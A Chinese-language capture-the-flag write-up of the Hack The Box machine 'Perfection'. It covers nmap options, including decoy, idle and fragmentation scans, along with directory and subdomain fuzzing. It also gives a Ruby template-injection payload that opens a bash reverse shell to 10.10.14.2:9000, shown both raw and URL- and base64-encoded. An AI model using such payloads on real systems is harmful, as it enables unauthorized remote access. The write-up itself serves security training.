首页 > 其他分享 >Hack The Box-Perfection

Hack The Box-Perfection

时间:2024-03-24 22:44:56浏览次数:29  
标签:Box -- 端口 扫描 192.168 nmap version Perfection Hack

这个里面学到
总体思路
端口扫描->SSTI RCE->db文件泄露->hashcat破解密码

第一步 用nmap
-A         :全面扫描. 综合扫描. 是一种完整扫描目标信息的扫描方式.

--exclude      : 排除指定的地址 例: nmap 192.168.1.0/24 --exclude 192.168.1.1 那么就不会对192.168.1.1进行扫描,

--excludefile     : 排除指定的地址列表 例: nmap 192.168.1.0/24 --excludefile list.txt 那么就不会对list.txt里面的地址进行扫描,

-iL         : 扫描一个列表文件 例 nmap -iL list.txt

-sP        : Ping扫描,效率高,返回信息少.   例: nmap -sP 192.168.1.110

-P0(Pn)      :无Ping扫描,可以躲避防火墙防护,可以在目标主机禁止ping的情况下使用

-PS        :TCP SYN Ping扫描

-PA        :TCP ACK Ping扫描

PR        : ARP Ping扫描

-n         : 禁止DNS反向解析

-T         : 时序选项, -TO-T5. 用于IDS逃逸,0=>非常慢,1=>缓慢的,2=>文雅的,3=>普通的,4=>快速的,5=>急速的

-p         : 指定端口扫描

-F         : 快速扫描

-f          : 报文分段

-D         : ip地址欺骗 例 nmap -D RND:5 192.168.1.110 RND:为生成随机ip地址  

-sS         : TCP SYN 扫描,速度快, 1秒1000次左右. 较为隐蔽.

-sT         : TCP连接扫描

-sU        : UDP扫描,扫描非常慢,容易被忽视

-sN,-sF       : 隐蔽扫描

-sI         : 空闲扫描,允许端口完全欺骗,可以允许不使用自身ip的情况下发起扫描,非常之隐蔽的扫描.但得先寻找空闲主机,指令为 nmap -p80 -open -script ipidseq 192.168......,第二种是往事随机寻找, nmap -p80 -open -script ipidseq -iR 2000 (iR选项代表随机选择目标.2000带表选择的数量,-open代表只选择端口开放的空闲主机)

-p-         : 扫描所有端口 1-65535

-top-ports      : 只扫描开发概率最高的端口 后面跟上数值 例 nmap -top-ports 100 , 就是扫描概率最高的前100个端口

<版本探测相关>:

-sV         : 版本探测 ,通过相应的端口探测对应的服务,根据服务的指纹识别出相应的版本.

-sV --allports     : 只有使用--allports才能扫描所有的端口,默认情况下回跳过如 TCP9100端口(hp打印机专用端口)

--version-intersity   : 设置扫描强度 0-9 ,数值越大越有可能被识别,花费时间越多,默认是7

--version-ligth    : 扫描强度,轻量级扫描(2) ,等用于--version-intersity 2

--version-all     :扫描强度,重量级扫描(9) ,等同于--version-intersity 9

--version-trace    : 获取详细的版本信息

-sR         : 判断开放端口是否为RPC端口, 如果是返回程序和版本号.

--resaon      : 显示主机存活原因
但是可以直接 加ip
后面这道题扫出来了80和22端口
然后进行目录扫描和子域名探测
dirsearch -u 10.10.11.253
ffuf -c -u http://pefection.htb/ -H "Host: FUZZ.perfection.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

没有有价值的信息,回到80端口上

然后去http上找线索
发现是ruby搭建的网站,可能就存在ssti漏洞

源代码为

<% system("echo

!/bin/bash

bash -i >& /dev/tcp/10.10.14.2/9000 0>&1 | base64 -d | bash");
%>;

经过url编码和base64编码后为

category1=1%0A;<%25+system("echo+IyEvYmluL2Jhc2gKYmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNC4yLzkwMDAgMD4mMQ==+|+base64+-d|+bash");+%25>;

这里记住要base64加密,#!/bin/bash 的作用是:用于指定默认情况下运行指定脚本的解释器,base64+-d这个是用base64解释器,-d是解码,bash是用bash反弹
最后就是Hashcat的使用

标签:Box,--,端口,扫描,192.168,nmap,version,Perfection,Hack
From: https://www.cnblogs.com/20031225gbz/p/18093265

相关文章

  • FUNBOX CTF 靶机
    靶机信息地址页面名称:Funbox:CTF发布日期:2020年9月5日作者:0815R2d2系列:趣盒描述土拨鼠之日:Boot2Root!最初的脚步有点流畅,但确实不难。进入Funbox:CTF后,需要查找、阅读并理解(2个且易于查找的)提示。聪明并结合...提示:Nikto扫描“区分大小写”,您至......
  • hackthebox carrier medium
    ReconNMAPSCANnamp-sT-p---min-rate1000-oAnmap/ports10.10.10.10522/tcpopenssh80/tcpopenhttpnmap-sT-pxx,xx-sV-oAnmap/version10.10.10.105nmap-sU-p---min-rate1000-oAnmap/udp10.10.10.105port161/udpopensnmpnmap-sU-pxx-sV-oA......
  • hackme 【攻防世界】Reverse
    题目: 丢到PE里,无壳,64bit丢到IDA里,shift+F12,查看字符串,找到一个很可疑的字符串跟进去看看,找到目标函数,我另外搜索了一下,没有mian函数,sub_400F8E应该就是解题的关键函数有部分变量我修改的名字,为了方便理解1__int64__fastcallsub_400F8E(__int64a1,inta2,inta......
  • qt移植到开发板 sysroot目录是干嘛的,以及busybox作用
    嵌入式开发中,sysroot目录是指定一个系统的根文件系统结构的目录,这在交叉编译过程中非常重要。当你在一台主机上为另一种架构(如嵌入式开发板的ARM架构)编译代码时,你的编译器需要访问目标系统的库和头文件。这些文件组织在一个目录结构中,这个结构模拟了目标设备上的/(根)文件系统......
  • R语言---07作图plot()、ggplot()、boxplot()
     一、画图安装包如果你在运行代码过程中,报错显示R包不存在,则需要先安装R包再运行代码。本文需要用到的R包,用library()函数加载并检查一下你的电脑里面是否有该R包。library(ggplot2)library(ggpubr)library(eoffice)library(patchwork) 如果缺少R包,可以使用一下代码......
  • 根文件系统简介与BusyBox构建根文件系统
    参考资料:https://www.bilibili.com/video/BV12E411h71h?p=43&vd_source=432ba293ecfc949a4174ab91ccc526d6 根文件系统简介:根文件系统也成为rootfs,fatfs这类的文件系统属于Linux内核的一部分,属于软件代码如果没根文件系统,内核会出现kernelpanic。根文件系统就是一堆文件,比......
  • 关于qiankun沙箱sandbox
    为什么要有js资源隔离机制?主应用和子应用,相同的全局变量,可能会发生冲突,子应用和子应用之间,相同的全局变量,也可能会发生冲突。在这里我们主要指的就是window。思路:打开沙箱时能够修改属性值;关闭沙箱时恢复未开启沙箱前的属性值,并且要记录修改了哪些属性。qiankun.js隔离机制Sn......
  • 如何在 VirtualBox 上安装 Arch Linux
    Arch与VirtualBox介绍Arch:ArchLinux是一个独立开发的x86-64架构通用GNU/Linux发行版,它致力于通过滚动更新来提供大多数软件的最新稳定版本。默认安装是一个最小的基本系统,由用户自行添加需要的软件。ArchLinux使用pacman作为包管理器。virtualBox:VirtualBox是一款开源虚拟......
  • WPF MVVM模式ListBox下ContextMenu绑定Command的方法以及将所选的Item的数据传回去
    需求:ListBoxItem上右键,将数据传参。疑问:ContextMenu不继承DataContext,导致直接用RelativeSource找根的方式也绑定不到。解决方法:在ListBox.ContextMenu里写菜单,就可以直接绑定到ViewModel层的命令了,参数先用RelativeSource找到ContextMenu,再绑定PlacementTarget.SelectedItem。......
  • leaflet频繁切换mapbox矢量图层-短暂空白问题
    leaflet加载mapbox矢量图层-最佳方案推荐闪烁问题比如现在有卫星图和mapboxgl矢量图层,两者有时常常需要切换,但在切换回矢量图层时,会出先短暂的空白问题(就是初始化图层),那有什么办法,可以实现平滑过渡切换呢解决思路大概讲一下思路,就是在切换卫星图时,矢量图层不要立刻移除,通过......